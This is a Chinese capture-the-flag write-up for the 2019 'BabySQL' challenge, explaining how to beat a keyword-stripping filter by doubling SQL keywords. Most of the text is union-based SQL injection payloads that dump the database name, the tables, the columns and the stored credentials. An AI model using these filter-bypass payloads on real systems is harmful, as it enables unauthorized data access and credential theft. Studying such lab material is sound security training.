[极客大挑战 2019]BabySQL

发布时间 2023-10-08 14:41:46作者: 圆弧状态

原理

sql关键字绕过姿势之双写绕过

解题过程

BabySQL嘛,看到登录框,先试试or万能登录

发现sql语句报错了,把我or给吃了,可以看到这种过滤是直接把or关键字替换成了空字符串

那我们可以试试双写绕过

可以了,我们得到了账号密码,有啥用??我起初还想着将这密码解密呢- -,浪费时间,继续用常规套路sql语句挖信息吧

后面对关键字一个个尝试,都用双写绕过就可以了,下面只给出payload了

以下测试可以账号密码都放一样的payload,因为账号那一栏的报错信息不全
1' oorrder bbyy 5#  报错
1' oorrder bbyy 4#  报错
1' oorrder bbyy 3#  回显正常
以上得出sql语句的查询列项为3

-1' ununionion seselectlect 1,2,3 #
以上找出回显位置是2,3

-1' ununionion seselectlect 1,database(),3 #
以上找出数据库名为geek

-1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#
以上找出表名为:b4bsql   geekuser

-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'#
以上找出b4bsql和geekuser列名均为id,username,password

-1' ununionion seselectlect 1,group_concat(id,username,passwoorrd),3 frfromom b4bsql#
拿到flag